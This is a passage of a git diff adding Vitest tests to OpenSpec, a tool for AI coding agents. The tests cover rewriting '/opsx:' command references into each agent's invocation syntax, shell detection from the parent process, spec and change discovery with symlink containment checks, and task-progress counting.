'/opsx-new /opsx-continue /opsx-apply'; expect(transformToHyphenCommands(input)).toBe(expected); }); + + it('should leave unknown command references unchanged', () => { + // Mirrors transformToSkillReferences: an invented id is left as written + // rather than reshaped into a command that does not exist either. + const input = 'Try /opsx:unknown-command here'; + expect(transformToHyphenCommands(input)).toBe(input); + }); + + it('should rewrite only the known id on a mixed line', () => { + expect(transformToHyphenCommands('/opsx:apply and /opsx:bogus')).toBe( + '/opsx-apply and /opsx:bogus' + ); + }); }); describe('multiline content', () => { @@ -65,6 +93,7 @@ Finally /opsx-apply to implement`; 'new', 'continue', 'apply', + 'update', 'ff', 'sync', 'archive', @@ -80,4 +109,260 @@ Finally /opsx-apply to implement`; }); } }); + + describe('non-slash prefixes', () => { + it("spells Amazon Q's prompt library form, replacing the slash", () => { + // The whole `/opsx:` is consumed, so no stray slash survives: it is + // `@opsx-apply`, never `/@opsx-apply` or `@/opsx-apply`. + expect(transformCommandInvocations('/opsx:apply', FLAT_AT)).toBe('@opsx-apply'); + expect(transformCommandInvocations('Run `/opsx:archive` when done.', FLAT_AT)).toBe( + 'Run `@opsx-archive` when done.' + ); + }); + + it('leaves unknown ids alone under a non-slash prefix too', () => { + expect(transformCommandInvocations('/opsx:apply and /opsx:bogus', FLAT_AT)).toBe( + '@opsx-apply and /opsx:bogus' + ); + }); + + it('is a no-op for the canonical namespaced slash form', () => { + const input = 'Use /opsx:new then /opsx:apply'; + expect(transformCommandInvocations(input, NAMESPACED_SLASH)).toBe(input); + }); + }); +}); + +describe('transformToSkillReferences', () => { + describe('all known commands', () => { + const mappings: Array<[string, string]> = [ + ['explore', '/openspec-explore'], + ['new', '/openspec-new-change'], + ['continue', '/openspec-continue-change'], + ['apply', '/openspec-apply-change'], + ['update', '/openspec-update-change'], + ['ff', '/openspec-ff-change'], + ['sync', '/openspec-sync-specs'], + ['archive', '/openspec-archive-change'], + ['bulk-archive', '/openspec-bulk-archive-change'], + ['verify', '/openspec-verify-change'], + ['onboard', '/openspec-onboard'], + ['propose', '/openspec-propose'], + ]; + + for (const [cmd, skillRef] of mappings) { + it(`should transform /opsx:${cmd} to ${skillRef}`, () => { + expect(transformToSkillReferences(`/opsx:${cmd}`)).toBe(skillRef); + }); + } + }); + + describe('basic transformations', () => { + it('should transform command reference in context', () => { + const input = 'Use /opsx:apply to implement tasks'; + const expected = 'Use /openspec-apply-change to implement tasks'; + expect(transformToSkillReferences(input)).toBe(expected); + }); + + it('should transform multiple command references', () => { + const input = 'Run /opsx:apply then /opsx:archive'; + const expected = 'Run /openspec-apply-change then /openspec-archive-change'; + expect(transformToSkillReferences(input)).toBe(expected); + }); + + it('should handle backtick-quoted commands', () => { + const input = 'Run `/opsx:continue` to proceed'; + const expected = 'Run `/openspec-continue-change` to proceed'; + expect(transformToSkillReferences(input)).toBe(expected); + }); + + it('should transform references across multiple lines', () => { + const input = `Use /opsx:new to start +Then /opsx:apply to implement`; + const expected = `Use /openspec-new-change to start +Then /openspec-apply-change to implement`; + expect(transformToSkillReferences(input)).toBe(expected); + }); + }); + + describe('edge cases', () => { + it('should return unchanged text with no command references', () => { + const input = 'This is plain text without commands'; + expect(transformToSkillReferences(input)).toBe(input); + }); + + it('should return empty string unchanged', () => { + expect(transformToSkillReferences('')).toBe(''); + }); + + it('should leave unknown command references unchanged', () => { + const input = 'Try /opsx:unknown-command here'; + expect(transformToSkillReferences(input)).toBe(input); + }); + + it('should not transform similar but non-matching patterns', () => { + const input = '/ops:new opsx: /other:command'; + expect(transformToSkillReferences(input)).toBe(input); + }); + + it('should transform longest matching command (bulk-archive vs archive)', () => { + const input = '/opsx:bulk-archive and /opsx:archive'; + const expected = '/openspec-bulk-archive-change and /openspec-archive-change'; + expect(transformToSkillReferences(input)).toBe(expected); + }); + }); +}); + +describe('getSkillReferenceTransformer', () => { + it('uses the default /<name> form for tools without a custom prefix', () => { + expect(getSkillReferenceTransformer('vibe')).toBe(transformToSkillReferences); + expect(getSkillReferenceTransformer('hermes')('/opsx:apply')).toBe('/openspec-apply-change'); + }); + + it('uses /skill:<name> for Kimi Code, per its documented invocation syntax', () => { + const transformer = getSkillReferenceTransformer('kimi'); + expect(transformer('/opsx:propose')).toBe('/skill:openspec-propose'); + expect(transformer('Run `/opsx:apply` then /opsx:archive')).toBe( + 'Run `/skill:openspec-apply-change` then /skill:openspec-archive-change' + ); + expect(transformer('/opsx:unknown-command')).toBe('/opsx:unknown-command'); + }); + + it('uses $<name> for direct Codex invocation hints', () => { + const transformer = getSkillReferenceTransformer('codex'); + expect(transformer('/opsx:propose')).toBe('$openspec-propose'); + expect(transformer('/opsx:unknown-command')).toBe('/opsx:unknown-command'); + }); + + it('uses natural-language references for Rovo Dev, which has no slash surface', () => { + const transformer = getSkillReferenceTransformer('rovodev'); + expect(transformer('/opsx:propose')).toBe('the openspec-propose skill'); + expect(transformer('Run `/opsx:apply` then /opsx:archive')).toBe( + 'Run `the openspec-apply-change skill` then the openspec-archive-change skill' + ); + // No `/openspec-*` or other slash-command form is ever emitted. + expect(transformer('/opsx:propose')).not.toMatch(/\/openspec-/); + expect(transformer('/opsx:unknown-command')).toBe('/opsx:unknown-command'); + }); +}); + +describe('getTransformerForTool', () => { + it('selects skill references for skills-only delivery for every tool', () => { + expect(getTransformerForTool('claude', 'skills', 'adapter-backed', NAMESPACED_SLASH)).toBe( + transformToSkillReferences + ); + // hyphen-command tools must not fall back to hyphen commands when no commands are generated + expect(getTransformerForTool('opencode', 'skills', 'adapter-backed', FLAT_SLASH)).toBe(transformToSkillReferences); + expect(getTransformerForTool('pi', 'skills', 'adapter-backed', FLAT_SLASH)).toBe(transformToSkillReferences); + expect(getTransformerForTool('oh-my-pi', 'skills', 'adapter-backed', FLAT_SLASH)).toBe(transformToSkillReferences); + }); + + it('selects skill references for tools without a command surface, regardless of delivery', () => { + // Tools like Kimi Code or Mistral Vibe have no command adapter, so their + // skills must never reference /opsx:* commands that were not generated. + expect(getTransformerForTool('vibe', 'both', 'none', undefined)).toBe(transformToSkillReferences); + expect(getTransformerForTool('hermes', 'both', 'none', undefined)).toBe(transformToSkillReferences); + // Kimi Code documents /skill:<name> invocations (docs/supported-tools.md) + for (const delivery of ['both', 'commands', 'skills'] as const) { + const transformer = getTransformerForTool('kimi', delivery, 'none', undefined); + expect(transformer?.('/opsx:propose')).toBe('/skill:openspec-propose'); + } + }); + + it('selects hyphen commands for every flat-invocation tool when commands are generated', () => { + // These tools invoke commands by filename (/opsx-<id>), so skills must + // reference the hyphen form their command files actually answer to. + for (const toolId of ['bob', 'cursor', 'github-copilot', 'oh-my-pi', 'opencode', 'pi', 'qwen'] as const) { + for (const delivery of ['both', 'commands'] as const) { + const transformer = getTransformerForTool(toolId, delivery, 'adapter-backed', FLAT_SLASH); + expect(transformer?.('/opsx:apply'), `${toolId} ${delivery}`).toBe('/opsx-apply'); + } + // ...but must not fall back to hyphen commands when no commands are generated + expect(getTransformerForTool(toolId, 'skills', 'adapter-backed', FLAT_SLASH)).toBe(transformToSkillReferences); + } + }); + + it('selects skill references for devin whenever skills are generated', () => { + // The Devin Local agent has no workflows, so Devin skill bodies and the + // getting-started hint must name `/openspec-*` skills, which both Devin + // agents accept. Workflow bodies get the hyphen form from the generator, + // like every other flat-invocation tool. + expect(getTransformerForTool('devin', 'both', 'adapter-backed', FLAT_SLASH)).toBe( + transformToSkillReferences + ); + expect(getTransformerForTool('devin', 'skills', 'adapter-backed', FLAT_SLASH)).toBe( + transformToSkillReferences + ); + // Under commands-only delivery no Devin skills exist to point at, so the + // hint falls back to the workflow name Devin registers. + const commandsOnly = getTransformerForTool('devin', 'commands', 'adapter-backed', FLAT_SLASH); + expect(commandsOnly?.('/opsx:propose')).toBe('/opsx-propose'); + }); + + it("selects Amazon Q's @-prefixed prompt form when commands are generated", () => { + // Amazon Q loads .amazonq/prompts/opsx-<id>.md into its prompt library, + // which is invoked with @ — it registers no slash command at all. + for (const delivery of ['both', 'commands'] as const) { + const transformer = getTransformerForTool('amazon-q', delivery, 'adapter-backed', FLAT_AT); + expect(transformer?.('/opsx:apply'), delivery).toBe('@opsx-apply'); + expect(transformer?.('Run /opsx:archive next'), delivery).toBe('Run @opsx-archive next'); + } + // Skills-only delivery generates no prompt files, so point at the skill. + expect(getTransformerForTool('amazon-q', 'skills', 'adapter-backed', FLAT_AT)).toBe( + transformToSkillReferences + ); + }); + + it('selects no transformer for namespaced tools when commands are generated', () => { + expect(getTransformerForTool('claude', 'both', 'adapter-backed', NAMESPACED_SLASH)).toBeUndefined(); + expect(getTransformerForTool('claude', 'commands', 'adapter-backed', NAMESPACED_SLASH)).toBeUndefined(); + }); + + it('selects shared-tree-safe Codex skill references in every delivery mode', () => { + // Codex needs $<name>, while generic consumers of the same canonical + // .agents tree need /<name>. Keep both explicit so neither target breaks. + for (const delivery of ['both', 'commands', 'skills'] as const) { + const transformer = getTransformerForTool('codex', delivery, 'skills-invocable', undefined); + expect(transformer?.('/opsx:propose')).toBe( + '$openspec-propose (Codex) or /openspec-propose (other agents)' + ); + expect(transformer?.('Run /opsx:apply next')).toBe( + 'Run $openspec-apply-change (Codex) or /openspec-apply-change (other agents) next' + ); + } + }); +}); + +// Regression for #1153/#1514: the apply skill template must author its +// continue/apply/archive references as canonical /opsx:* tokens so the +// generator can rewrite them per target. Bare "openspec-continue-change" +// prose is invisible to the transformers, which left skills.sh, Codex, and +// Kimi with dead text and no archive/input invocation after a naive revert. +describe('apply skill template generates valid per-target invocations', () => { + const skill = getApplyChangeSkillTemplate().instructions; + + it('authors invocation references as transformable /opsx:* tokens', () => { + expect(skill).toContain('/opsx:apply add-auth'); + expect(skill).toContain('suggest using `/opsx:continue`'); + expect(skill).toContain('archive this change with `/opsx:archive`'); + // No bare, non-transformable skill-name prose remains. + expect(skill).not.toContain('suggest using openspec-continue-change'); + }); + + const cases = [ + { tool: 'default (skills.sh)', transform: transformToSkillReferences, cont: '/openspec-continue-change', arch: '/openspec-archive-change', apply: '/openspec-apply-change' }, + { tool: 'codex', transform: getSkillReferenceTransformer('codex'), cont: '$openspec-continue-change', arch: '$openspec-archive-change', apply: '$openspec-apply-change' }, + { tool: 'kimi', transform: getSkillReferenceTransformer('kimi'), cont: '/skill:openspec-continue-change', arch: '/skill:openspec-archive-change', apply: '/skill:openspec-apply-change' }, + ]; + + for (const { tool, transform, cont, arch, apply } of cases) { + it(`emits ${tool} skill invocations for continue, apply, and archive`, () => { + const out = transform(skill); + expect(out).toContain(cont); + expect(out).toContain(arch); + expect(out).toContain(`${apply} add-auth`); + // No canonical token survives the rewrite. + expect(out).not.toMatch(/\/opsx:(continue|apply|archive)/); + }); + } }); diff --git a/test/utils/file-system.test.ts b/test/utils/file-system.test.ts index ab436150f0..509030f6aa 100644 --- a/test/utils/file-system.test.ts +++ b/test/utils/file-system.test.ts @@ -3,15 +3,13 @@ import * as nodeFs from 'fs'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { FileSystemUtils } from '../../src/utils/file-system.js'; describe('FileSystemUtils', () => { let testDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); }); afterEach(async () => { @@ -236,6 +234,21 @@ describe('FileSystemUtils', () => { expect(canWrite).toBe(true); }); + it.skipIf(process.platform === 'win32')('should return false for directory without search permission', async () => { + const dirPath = path.join(testDir, 'write-only-dir'); + await fs.mkdir(dirPath); + await fs.chmod(dirPath, 0o222); + + let canWrite = false; + try { + canWrite = await FileSystemUtils.canWriteFile(dirPath); + } finally { + await fs.chmod(dirPath, 0o755); + } + + expect(canWrite).toBe(false); + }); + it('should traverse multiple non-existent parent directories', async () => { const filePath = path.join(testDir, 'a', 'b', 'c', 'd', 'e', 'file.txt'); diff --git a/test/utils/interactive.test.ts b/test/utils/interactive.test.ts index c1753d31d4..b8e59ddab6 100644 --- a/test/utils/interactive.test.ts +++ b/test/utils/interactive.test.ts @@ -1,5 +1,10 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { isInteractive, resolveNoInteractive, InteractiveOptions } from '../../src/utils/interactive.js'; +import { + isInteractive, + isNonInteractivePromptError, + resolveNoInteractive, + InteractiveOptions, +} from '../../src/utils/interactive.js'; describe('interactive utilities', () => { let originalOpenSpecInteractive: string | undefined; @@ -122,4 +127,74 @@ describe('interactive utilities', () => { expect(isInteractive(undefined)).toBe(true); }); }); + + describe('isNonInteractivePromptError', () => { + function setStdinIsTTY(value: boolean): void { + Object.defineProperty(process.stdin, 'isTTY', { value, writable: true, configurable: true }); + } + + function exitPromptError(message: string): Error { + const error = new Error(message); + error.name = 'ExitPromptError'; + return error; + } + + it('recognizes a prompt that failed with no terminal to answer it', () => { + setStdinIsTTY(false); + expect( + isNonInteractivePromptError(exitPromptError('User force closed the prompt with 0 null')) + ).toBe(true); + }); + + it('recognizes the failure by name alone', () => { + // An @inquirer upgrade may reword the message; the error class is the + // other half of the signal and must stand on its own. + setStdinIsTTY(false); + expect(isNonInteractivePromptError(exitPromptError('prompt closed'))).toBe(true); + }); + + it('recognizes the failure by message alone', () => { + // ...and vice versa, if the class is ever renamed or duplicated by a + // bundled copy of the library. + setStdinIsTTY(false); + const plain = new Error('User force closed the prompt with 0 null'); + expect(isNonInteractivePromptError(plain)).toBe(true); + }); + + it('treats a SIGINT cancellation as a cancellation, terminal or not', () => { + const sigint = exitPromptError('User force closed the prompt with SIGINT'); + setStdinIsTTY(true); + expect(isNonInteractivePromptError(sigint)).toBe(false); + // A script started from a terminal has a piped stdin and still receives + // Ctrl-C: the signal, not the terminal, proves the user was there. + setStdinIsTTY(false); + expect(isNonInteractivePromptError(sigint)).toBe(false); + }); + + it('honors the same non-interactive signals as isInteractive()', () => { + const failure = exitPromptError('User force closed the prompt with 0 null'); + + // A pty-allocating CI runner: a terminal exists, but CI declares that + // nobody is watching it. + setStdinIsTTY(true); + expect(isNonInteractivePromptError(failure)).toBe(false); + + process.env.CI = 'true'; + expect(isNonInteractivePromptError(failure)).toBe(true); + delete process.env.CI; + + process.env.OPEN_SPEC_INTERACTIVE = '0'; + expect(isNonInteractivePromptError(failure)).toBe(true); + delete process.env.OPEN_SPEC_INTERACTIVE; + + expect(isNonInteractivePromptError(failure, { interactive: false })).toBe(true); + }); + + it('ignores unrelated failures', () => { + setStdinIsTTY(false); + expect(isNonInteractivePromptError(new Error('disk full'))).toBe(false); + expect(isNonInteractivePromptError('not an error')).toBe(false); + expect(isNonInteractivePromptError(undefined)).toBe(false); + }); + }); }); diff --git a/test/utils/item-discovery.test.ts b/test/utils/item-discovery.test.ts new file mode 100644 index 0000000000..d831374a7a --- /dev/null +++ b/test/utils/item-discovery.test.ts @@ -0,0 +1,85 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { promises as fs } from 'fs'; +import os from 'os'; +import path from 'path'; +import { getActiveChangeIds, getArchivedChangeIds } from '../../src/utils/item-discovery.js'; + +describe('item discovery', () => { + let root: string; + let changesDir: string; + + beforeEach(async () => { + root = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-item-discovery-')); + changesDir = path.join(root, 'openspec', 'changes'); + await fs.mkdir(changesDir, { recursive: true }); + }); + + afterEach(async () => { + await fs.rm(root, { recursive: true, force: true }); + }); + + const makeChange = async (name: string, files: Record<string, string> = {}) => { + const dir = path.join(changesDir, name); + await fs.mkdir(dir, { recursive: true }); + for (const [file, content] of Object.entries(files)) { + await fs.writeFile(path.join(dir, file), content, 'utf-8'); + } + }; + + describe('getActiveChangeIds', () => { + it('resolves a scaffolded change that has no proposal.md', async () => { + // What `openspec new change <name>` leaves on disk: metadata only. + await makeChange('scaffolded', { '.openspec.yaml': 'schema: spec-driven\n' }); + await makeChange('with-proposal', { 'proposal.md': '# With proposal' }); + + expect(await getActiveChangeIds(root)).toEqual(['scaffolded', 'with-proposal']); + }); + + it('resolves a change whose schema defines no proposal artifact', async () => { + await makeChange('no-proposal-schema', { + '.openspec.yaml': 'schema: custom\n', + 'tasks.md': '## 1. Work\n\n- [ ] 1.1 do it\n', + }); + + expect(await getActiveChangeIds(root)).toEqual(['no-proposal-schema']); + }); + + it('excludes the archive directory and hidden directories', async () => { + await makeChange('real-change'); + await fs.mkdir(path.join(changesDir, 'archive', '2026-01-01-old'), { recursive: true }); + await fs.mkdir(path.join(changesDir, '.scratch'), { recursive: true }); + await fs.writeFile(path.join(changesDir, 'stray-file.md'), 'not a change', 'utf-8'); + + expect(await getActiveChangeIds(root)).toEqual(['real-change']); + }); + + it('returns an empty list when the changes directory is missing', async () => { + await fs.rm(changesDir, { recursive: true, force: true }); + + expect(await getActiveChangeIds(root)).toEqual([]); + }); + }); + + describe('getArchivedChangeIds', () => { + it('resolves archived changes without requiring proposal.md', async () => { + const archiveDir = path.join(changesDir, 'archive'); + await fs.mkdir(path.join(archiveDir, '2026-01-02-no-proposal'), { recursive: true }); + await fs.mkdir(path.join(archiveDir, '2026-01-01-with-proposal'), { recursive: true }); + await fs.writeFile( + path.join(archiveDir, '2026-01-01-with-proposal', 'proposal.md'), + '# Archived', + 'utf-8' + ); + await fs.mkdir(path.join(archiveDir, '.tmp'), { recursive: true }); + + expect(await getArchivedChangeIds(root)).toEqual([ + '2026-01-01-with-proposal', + '2026-01-02-no-proposal', + ]); + }); + + it('returns an empty list when nothing has been archived', async () => { + expect(await getArchivedChangeIds(root)).toEqual([]); + }); + }); +}); diff --git a/test/utils/marker-updates.test.ts b/test/utils/marker-updates.test.ts index da9a06b6e9..75476aef96 100644 --- a/test/utils/marker-updates.test.ts +++ b/test/utils/marker-updates.test.ts @@ -10,8 +10,7 @@ describe('FileSystemUtils.updateFileWithMarkers', () => { const END_MARKER = '<!-- OPENSPEC:END -->'; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-marker-test-${Date.now()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-marker-test-')); }); afterEach(async () => { diff --git a/test/utils/shell-detection.test.ts b/test/utils/shell-detection.test.ts index 8df25db74a..89941cf0ad 100644 --- a/test/utils/shell-detection.test.ts +++ b/test/utils/shell-detection.test.ts @@ -1,6 +1,13 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { execFileSync } from 'node:child_process'; import { detectShell, SupportedShell } from '../../src/utils/shell-detection.js'; +vi.mock('node:child_process', () => ({ + execFileSync: vi.fn(), +})); + +const mockedExecFileSync = vi.mocked(execFileSync); + describe('shell-detection', () => { let originalShell: string | undefined; let originalPSModulePath: string | undefined; @@ -18,6 +25,11 @@ describe('shell-detection', () => { delete process.env.SHELL; delete process.env.PSModulePath; delete process.env.COMSPEC; + + // Default: parent process is not a shell (e.g. the test runner), so + // detection falls through to environment-based logic. + mockedExecFileSync.mockReset(); + mockedExecFileSync.mockReturnValue('node\n'); }); afterEach(() => { @@ -176,6 +188,68 @@ describe('shell-detection', () => { }); }); + describe('parent process detection', () => { + // Parent-process detection is POSIX-only, so pin the platform to make + // these tests exercise the `ps` path even when CI runs on Windows. + beforeEach(() => { + Object.defineProperty(process, 'platform', { value: 'linux' }); + }); + + it('should detect fish from the parent process even when SHELL is bash', () => { + // Reproduces #1197: fish user whose login shell ($SHELL) is bash. + process.env.SHELL = '/bin/bash'; + mockedExecFileSync.mockReturnValue('fish\n'); + const result = detectShell(); + expect(result.shell).toBe('fish'); + expect(result.detected).toBe('fish'); + }); + + it('should handle full-path comm output from macOS ps', () => { + process.env.SHELL = '/bin/bash'; + mockedExecFileSync.mockReturnValue('/opt/homebrew/bin/fish\n'); + const result = detectShell(); + expect(result.shell).toBe('fish'); + }); + + it('should detect a login shell reported with a leading dash', () => { + process.env.SHELL = '/bin/bash'; + mockedExecFileSync.mockReturnValue('-zsh\n'); + const result = detectShell(); + expect(result.shell).toBe('zsh'); + }); + + it('should fall back to SHELL when the parent process is not a shell', () => { + process.env.SHELL = '/usr/bin/fish'; + mockedExecFileSync.mockReturnValue('node\n'); + const result = detectShell(); + expect(result.shell).toBe('fish'); + }); + + it('should not mistake shell-named tools like fish-lsp for the shell', () => { + process.env.SHELL = '/bin/zsh'; + mockedExecFileSync.mockReturnValue('fish-lsp\n'); + const result = detectShell(); + expect(result.shell).toBe('zsh'); + }); + + it('should fall back to SHELL when reading the parent process fails', () => { + process.env.SHELL = '/bin/zsh'; + mockedExecFileSync.mockImplementation(() => { + throw new Error('ps unavailable'); + }); + const result = detectShell(); + expect(result.shell).toBe('zsh'); + }); + + it('should not shell out to ps on Windows', () => { + Object.defineProperty(process, 'platform', { value: 'win32' }); + process.env.PSModulePath = 'C:\\Program Files\\PowerShell\\Modules'; + const result = detectShell(); + expect(result.shell).toBe('powershell'); + expect(mockedExecFileSync).not.toHaveBeenCalled(); + }); + }); + describe('SupportedShell type', () => { it('should accept valid shell types', () => { const shells: SupportedShell[] = ['zsh', 'bash', 'fish', 'powershell']; diff --git a/test/utils/spec-discovery.test.ts b/test/utils/spec-discovery.test.ts new file mode 100644 index 0000000000..040aa9e6f3 --- /dev/null +++ b/test/utils/spec-discovery.test.ts @@ -0,0 +1,178 @@ +import { describe, it, expect } from 'vitest'; +import path from 'path'; +import { promises as fs } from 'fs'; +import os from 'os'; +import { discoverSpecFiles } from '../../src/utils/spec-discovery.js'; + +async function withTempDir(run: (dir: string) => Promise<void>) { + const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-spec-discovery-')); + try { + await run(dir); + } finally { + try { await fs.rm(dir, { recursive: true, force: true }); } catch {} + } +} + +async function writeSpec(root: string, ...segments: string[]) { + const dir = path.join(root, ...segments); + await fs.mkdir(dir, { recursive: true }); + await fs.writeFile(path.join(dir, 'spec.md'), '# Spec\n', 'utf8'); +} + +describe('discoverSpecFiles', () => { + it('discovers flat specs one level below the root', async () => { + await withTempDir(async (dir) => { + await writeSpec(dir, 'auth'); + await writeSpec(dir, 'payments'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['auth', 'payments']); + expect(found[0].specFile).toBe(path.join(dir, 'auth', 'spec.md')); + }); + }); + + it('discovers nested specs and returns forward-slash ids (#1353)', async () => { + await withTempDir(async (dir) => { + await writeSpec(dir, 'platform', 'platform-session-layout'); + await writeSpec(dir, 'mobile', 'mobile-session-layout'); + await writeSpec(dir, 'flat-capability'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual([ + 'flat-capability', + 'mobile/mobile-session-layout', + 'platform/platform-session-layout', + ]); + expect(found[2].specFile).toBe( + path.join(dir, 'platform', 'platform-session-layout', 'spec.md') + ); + }); + }); + + it('ignores a spec.md directly in the root, dot-directories, and non-spec files', async () => { + await withTempDir(async (dir) => { + await fs.writeFile(path.join(dir, 'spec.md'), '# Root spec\n', 'utf8'); + await writeSpec(dir, '.hidden', 'secret'); + await writeSpec(dir, 'real'); + await fs.writeFile(path.join(dir, 'real', 'design.md'), '# Design\n', 'utf8'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['real']); + }); + }); + + it('returns an empty list when the specs root does not exist', async () => { + await withTempDir(async (dir) => { + const found = await discoverSpecFiles(path.join(dir, 'missing')); + expect(found).toEqual([]); + }); + }); + + it('throws on a non-ENOENT read error instead of silently dropping specs', async () => { + await withTempDir(async (dir) => { + // A file where a directory is expected surfaces ENOTDIR from readdir. + const notADir = path.join(dir, 'not-a-dir'); + await fs.writeFile(notADir, 'not a directory\n', 'utf8'); + + await expect(discoverSpecFiles(notADir)).rejects.toMatchObject({ + code: 'ENOTDIR', + }); + }); + }); + + it('surfaces an unreadable nested directory rather than skipping it', async () => { + await withTempDir(async (dir) => { + await writeSpec(dir, 'platform', 'session-layout'); + const nested = path.join(dir, 'platform'); + await fs.chmod(nested, 0o000); + + // Root (and some CI/filesystems) ignore permission bits — skip if not enforced. + let enforced = false; + try { + await fs.readdir(nested); + } catch { + enforced = true; + } + if (!enforced) { + await fs.chmod(nested, 0o755); + return; + } + + try { + await expect(discoverSpecFiles(dir)).rejects.toMatchObject({ + code: 'EACCES', + }); + } finally { + await fs.chmod(nested, 0o755); + } + }); + }); + + it.skipIf(process.platform === 'win32')('discovers an in-capability symlinked spec.md file', async () => { + await withTempDir(async (dir) => { + // hasAnyFileUnder and the artifact graph's globs both count a symlinked + // spec.md as content, so discovery must not silently drop it. + await fs.mkdir(path.join(dir, 'auth'), { recursive: true }); + const target = path.join(dir, 'auth', 'shared-delta.md'); + await fs.writeFile(target, '# Spec\n', 'utf8'); + await fs.symlink(target, path.join(dir, 'auth', 'spec.md'), 'file'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['auth']); + expect(found[0].specFile).toBe(path.join(dir, 'auth', 'spec.md')); + }); + }); + + it.skipIf(process.platform === 'win32')('discovers a spec.md symlink elsewhere in the specs root', async () => { + await withTempDir(async (dir) => { + const target = path.join(dir, 'shared.md'); + await fs.writeFile(target, '# Shared\n', 'utf8'); + await fs.mkdir(path.join(dir, 'auth'), { recursive: true }); + await fs.symlink(target, path.join(dir, 'auth', 'spec.md'), 'file'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['auth']); + }); + }); + + it.skipIf(process.platform === 'win32')('rejects a spec.md symlink outside the specs root', async () => { + await withTempDir(async (dir) => { + const target = path.join(path.dirname(dir), `${path.basename(dir)}-outside.md`); + await fs.writeFile(target, '# Outside\n', 'utf8'); + await fs.mkdir(path.join(dir, 'auth'), { recursive: true }); + await fs.symlink(target, path.join(dir, 'auth', 'spec.md'), 'file'); + + await expect(discoverSpecFiles(dir)).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await fs.rm(target, { force: true }); + }); + }); + + it.skipIf(process.platform === 'win32')('skips a dangling spec.md symlink', async () => { + await withTempDir(async (dir) => { + await writeSpec(dir, 'real'); + await fs.mkdir(path.join(dir, 'ghost'), { recursive: true }); + await fs.symlink( + path.join(dir, 'missing-target.md'), + path.join(dir, 'ghost', 'spec.md'), + 'file' + ); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['real']); + }); + }); + + it.skipIf(process.platform === 'win32')('does not follow symlinked directories', async () => { + await withTempDir(async (dir) => { + await writeSpec(dir, 'real'); + const target = path.join(dir, 'real'); + const link = path.join(dir, 'linked'); + await fs.symlink(target, link, 'dir'); + + const found = await discoverSpecFiles(dir); + expect(found.map((s) => s.id)).toEqual(['real']); + }); + }); +}); diff --git a/test/utils/task-progress.test.ts b/test/utils/task-progress.test.ts new file mode 100644 index 0000000000..501f9b9449 --- /dev/null +++ b/test/utils/task-progress.test.ts @@ -0,0 +1,307 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import os from 'os'; +import { + countTasksFromContent, + getTaskProgressForChange, + parseTaskLines, +} from '../../src/utils/task-progress.js'; +import { resolveArtifactOutputs } from '../../src/core/artifact-graph/index.js'; + +/** + * #1202 — task progress is resolved through the tracked-tasks artifact's + * `generates` glob (the same file-resolution `openspec status` uses), not a + * fixed `changes/<name>/tasks.md` path. + */ +describe('getTaskProgressForChange (#1202 tracked-tasks resolution)', () => { + let projectRoot: string; + let changesDir: string; + + const GLOB_SCHEMA = [ + 'name: glob-tasks', + 'version: 1', + 'description: tasks artifact uses a nested glob', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: Proposal', + ' template: proposal.md', + ' requires: []', + ' - id: tasks', + ' generates: "**/tasks.md"', + ' description: Nested tasks', + ' template: tasks.md', + ' requires: [proposal]', + 'apply:', + ' requires: [tasks]', + ' tracks: "**/tasks.md"', + '', + ].join('\n'); + + beforeEach(async () => { + projectRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-taskprogress-')); + changesDir = path.join(projectRoot, 'openspec', 'changes'); + await fs.mkdir(changesDir, { recursive: true }); + }); + + afterEach(async () => { + await fs.rm(projectRoot, { recursive: true, force: true }); + }); + + async function writeGlobSchema(): Promise<void> { + const schemaDir = path.join(projectRoot, 'openspec', 'schemas', 'glob-tasks'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile(path.join(schemaDir, 'schema.yaml'), GLOB_SCHEMA, 'utf-8'); + } + + async function writeChange(name: string, files: Record<string, string>, schema = 'glob-tasks'): Promise<string> { + const changeDir = path.join(changesDir, name); + await fs.mkdir(changeDir, { recursive: true }); + if (schema) { + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), `schema: ${schema}\n`, 'utf-8'); + } + for (const [rel, content] of Object.entries(files)) { + const full = path.join(changeDir, rel); + await fs.mkdir(path.dirname(full), { recursive: true }); + await fs.writeFile(full, content, 'utf-8'); + } + return changeDir; + } + + it('aggregates checkboxes across nested tasks.md files matched by the glob', async () => { + await writeGlobSchema(); + await writeChange('globchange', { + 'backend/tasks.md': '- [x] 1.1 a\n- [x] 1.2 b\n', + 'frontend/tasks.md': '- [x] 2.1 a\n- [ ] 2.2 b\n- [ ] 2.3 c\n', + }); + + const progress = await getTaskProgressForChange(changesDir, 'globchange', projectRoot); + expect(progress).toEqual({ total: 5, completed: 3 }); + }); + + it('resolves the same set of files status resolves (resolution-mechanism parity)', async () => { + await writeGlobSchema(); + const changeDir = await writeChange('globchange', { + 'backend/tasks.md': '- [x] a\n- [x] b\n', + 'frontend/tasks.md': '- [x] a\n- [ ] b\n- [ ] c\n', + }); + + // `status` detects the tasks artifact via resolveArtifactOutputs(changeDir, generates). + const statusFiles = 